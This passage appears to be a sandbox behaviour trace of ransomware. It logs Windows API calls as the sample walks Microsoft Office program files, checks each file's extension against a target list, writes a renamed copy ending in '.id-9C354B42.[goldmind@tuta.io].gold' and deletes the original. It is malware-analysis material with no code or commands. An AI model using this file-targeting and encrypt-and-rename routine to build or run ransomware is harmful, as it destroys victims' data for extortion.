| out: lpFileSize=0x351ff1c*=210304) returned 1 [0109.692] CloseHandle (hObject=0x394) returned 1 [0109.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll")) returned 0x20 [0109.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.746] lstrlenW (lpString=".doc") returned 4 [0109.746] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.746] lstrlenW (lpString=".docx") returned 5 [0109.746] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0109.746] lstrlenW (lpString=".pdf") returned 4 [0109.746] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.746] lstrlenW (lpString=".xls") returned 4 [0109.746] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.746] lstrlenW (lpString=".xlsx") returned 5 [0109.746] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0109.746] lstrlenW (lpString=".ppt") returned 4 [0109.747] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString=".zip") returned 4 [0109.747] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString=".rar") returned 4 [0109.747] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString=".bz2") returned 4 [0109.747] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.747] lstrlenW (lpString=".7z") returned 3 [0109.747] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString=".dbf") returned 4 [0109.747] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString=".1cd") returned 4 [0109.747] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString=".jpg") returned 4 [0109.747] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString=".doc") returned 4 [0109.747] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString=".docx") returned 5 [0109.747] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0109.747] lstrlenW (lpString=".pdf") returned 4 [0109.747] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString=".xls") returned 4 [0109.747] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString=".xlsx") returned 5 [0109.747] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0109.747] lstrlenW (lpString=".ppt") returned 4 [0109.747] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString=".zip") returned 4 [0109.747] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString=".rar") returned 4 [0109.747] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.747] lstrlenW (lpString=".bz2") returned 4 [0109.747] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.747] lstrlenW (lpString=".7z") returned 3 [0109.747] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString=".dbf") returned 4 [0109.747] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString=".1cd") returned 4 [0109.747] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0109.747] lstrlenW (lpString=".jpg") returned 4 [0109.747] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.748] lstrcmpiW (lpString1=".ECF", lpString2=".gold") returned -1 [0109.748] lstrlenW (lpString="FAXEXT.ECF") returned 10 [0109.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.826] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=830) returned 1 [0109.826] CloseHandle (hObject=0x38c) returned 1 [0109.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf")) returned 0x20 [0109.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0109.887] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.887] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0109.887] GetLastError () returned 0x0 [0109.887] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x33e, lpOverlapped=0x0) returned 1 [0109.889] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x340, lpOverlapped=0x0) returned 1 [0109.889] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.889] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0109.889] SetEndOfFile (hFile=0x398) returned 1 [0109.889] CloseHandle (hObject=0x398) returned 1 [0109.890] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.890] SetEndOfFile (hFile=0x3a8) returned 1 [0109.891] CloseHandle (hObject=0x3a8) returned 1 [0109.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf")) returned 1 [0109.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.892] lstrlenW (lpString=".doc") returned 4 [0109.892] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0109.892] lstrlenW (lpString=".docx") returned 5 [0109.892] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0109.892] lstrlenW (lpString=".pdf") returned 4 [0109.892] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0109.892] lstrlenW (lpString=".xls") returned 4 [0109.892] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0109.892] lstrlenW (lpString=".xlsx") returned 5 [0109.892] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0109.892] lstrlenW (lpString=".ppt") returned 4 [0109.892] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0109.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.892] lstrlenW (lpString=".zip") returned 4 [0109.892] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0109.892] lstrlenW (lpString=".rar") returned 4 [0109.892] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0109.892] lstrlenW (lpString=".bz2") returned 4 [0109.893] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0109.893] lstrlenW (lpString=".7z") returned 3 [0109.893] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0109.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.893] lstrlenW (lpString=".dbf") returned 4 [0109.893] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0109.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.893] lstrlenW (lpString=".1cd") returned 4 [0109.893] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0109.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.893] lstrlenW (lpString=".jpg") returned 4 [0109.893] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0109.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.893] lstrlenW (lpString=".doc") returned 4 [0109.893] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0109.893] lstrlenW (lpString=".docx") returned 5 [0109.893] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0109.893] lstrlenW (lpString=".pdf") returned 4 [0109.893] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0109.893] lstrlenW (lpString=".xls") returned 4 [0109.893] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0109.893] lstrlenW (lpString=".xlsx") returned 5 [0109.893] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0109.893] lstrlenW (lpString=".ppt") returned 4 [0109.893] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0109.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.893] lstrlenW (lpString=".zip") returned 4 [0109.893] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0109.893] lstrlenW (lpString=".rar") returned 4 [0109.893] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0109.893] lstrlenW (lpString=".bz2") returned 4 [0109.893] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0109.893] lstrlenW (lpString=".7z") returned 3 [0109.893] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0109.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.893] lstrlenW (lpString=".dbf") returned 4 [0109.893] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0109.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.893] lstrlenW (lpString=".1cd") returned 4 [0109.893] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0109.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0109.893] lstrlenW (lpString=".jpg") returned 4 [0109.893] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0109.893] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0109.893] lstrlenW (lpString="UmOutlookAddin.dll") returned 18 [0109.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.895] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1549152) returned 1 [0109.895] CloseHandle (hObject=0x230) returned 1 [0109.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll")) returned 0x20 [0109.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.895] lstrlenW (lpString=".doc") returned 4 [0109.895] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.895] lstrlenW (lpString=".docx") returned 5 [0109.895] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0109.895] lstrlenW (lpString=".pdf") returned 4 [0109.895] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.895] lstrlenW (lpString=".xls") returned 4 [0109.895] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.895] lstrlenW (lpString=".xlsx") returned 5 [0109.895] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0109.895] lstrlenW (lpString=".ppt") returned 4 [0109.895] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.895] lstrlenW (lpString=".zip") returned 4 [0109.895] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.895] lstrlenW (lpString=".rar") returned 4 [0109.895] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.895] lstrlenW (lpString=".bz2") returned 4 [0109.895] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.896] lstrlenW (lpString=".7z") returned 3 [0109.896] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.896] lstrlenW (lpString=".dbf") returned 4 [0109.896] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.896] lstrlenW (lpString=".1cd") returned 4 [0109.896] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.896] lstrlenW (lpString=".jpg") returned 4 [0109.896] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.896] lstrlenW (lpString=".doc") returned 4 [0109.896] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.896] lstrlenW (lpString=".docx") returned 5 [0109.896] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0109.896] lstrlenW (lpString=".pdf") returned 4 [0109.896] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.896] lstrlenW (lpString=".xls") returned 4 [0109.896] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.896] lstrlenW (lpString=".xlsx") returned 5 [0109.896] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0109.896] lstrlenW (lpString=".ppt") returned 4 [0109.896] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.896] lstrlenW (lpString=".zip") returned 4 [0109.896] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.896] lstrlenW (lpString=".rar") returned 4 [0109.896] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.896] lstrlenW (lpString=".bz2") returned 4 [0109.896] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.896] lstrlenW (lpString=".7z") returned 3 [0109.896] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.896] lstrlenW (lpString=".dbf") returned 4 [0109.896] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.896] lstrlenW (lpString=".1cd") returned 4 [0109.896] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0109.896] lstrlenW (lpString=".jpg") returned 4 [0109.896] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.897] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.897] lstrlenW (lpString="AEC.DLL") returned 7 [0109.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.898] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1571704) returned 1 [0109.898] CloseHandle (hObject=0x230) returned 1 [0109.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll")) returned 0x20 [0109.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.899] lstrlenW (lpString=".doc") returned 4 [0109.899] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString=".docx") returned 5 [0109.899] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0109.899] lstrlenW (lpString=".pdf") returned 4 [0109.899] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString=".xls") returned 4 [0109.899] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString=".xlsx") returned 5 [0109.899] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0109.899] lstrlenW (lpString=".ppt") returned 4 [0109.899] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.899] lstrlenW (lpString=".zip") returned 4 [0109.899] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString=".rar") returned 4 [0109.899] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString=".bz2") returned 4 [0109.899] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.899] lstrlenW (lpString=".7z") returned 3 [0109.899] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.899] lstrlenW (lpString=".dbf") returned 4 [0109.899] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.899] lstrlenW (lpString=".1cd") returned 4 [0109.899] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.899] lstrlenW (lpString=".jpg") returned 4 [0109.899] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.899] lstrlenW (lpString=".doc") returned 4 [0109.899] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString=".docx") returned 5 [0109.899] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0109.899] lstrlenW (lpString=".pdf") returned 4 [0109.899] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString=".xls") returned 4 [0109.899] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString=".xlsx") returned 5 [0109.899] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0109.899] lstrlenW (lpString=".ppt") returned 4 [0109.899] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.899] lstrlenW (lpString=".zip") returned 4 [0109.899] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.900] lstrlenW (lpString=".rar") returned 4 [0109.900] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.900] lstrlenW (lpString=".bz2") returned 4 [0109.900] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.900] lstrlenW (lpString=".7z") returned 3 [0109.900] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.900] lstrlenW (lpString=".dbf") returned 4 [0109.900] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.900] lstrlenW (lpString=".1cd") returned 4 [0109.900] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0109.900] lstrlenW (lpString=".jpg") returned 4 [0109.900] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.900] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.900] lstrlenW (lpString="AECUTILS.DLL") returned 12 [0109.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.901] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=796552) returned 1 [0109.901] CloseHandle (hObject=0x230) returned 1 [0109.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll")) returned 0x20 [0109.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0109.902] lstrlenW (lpString="C:\\Program Files\\Microsoft 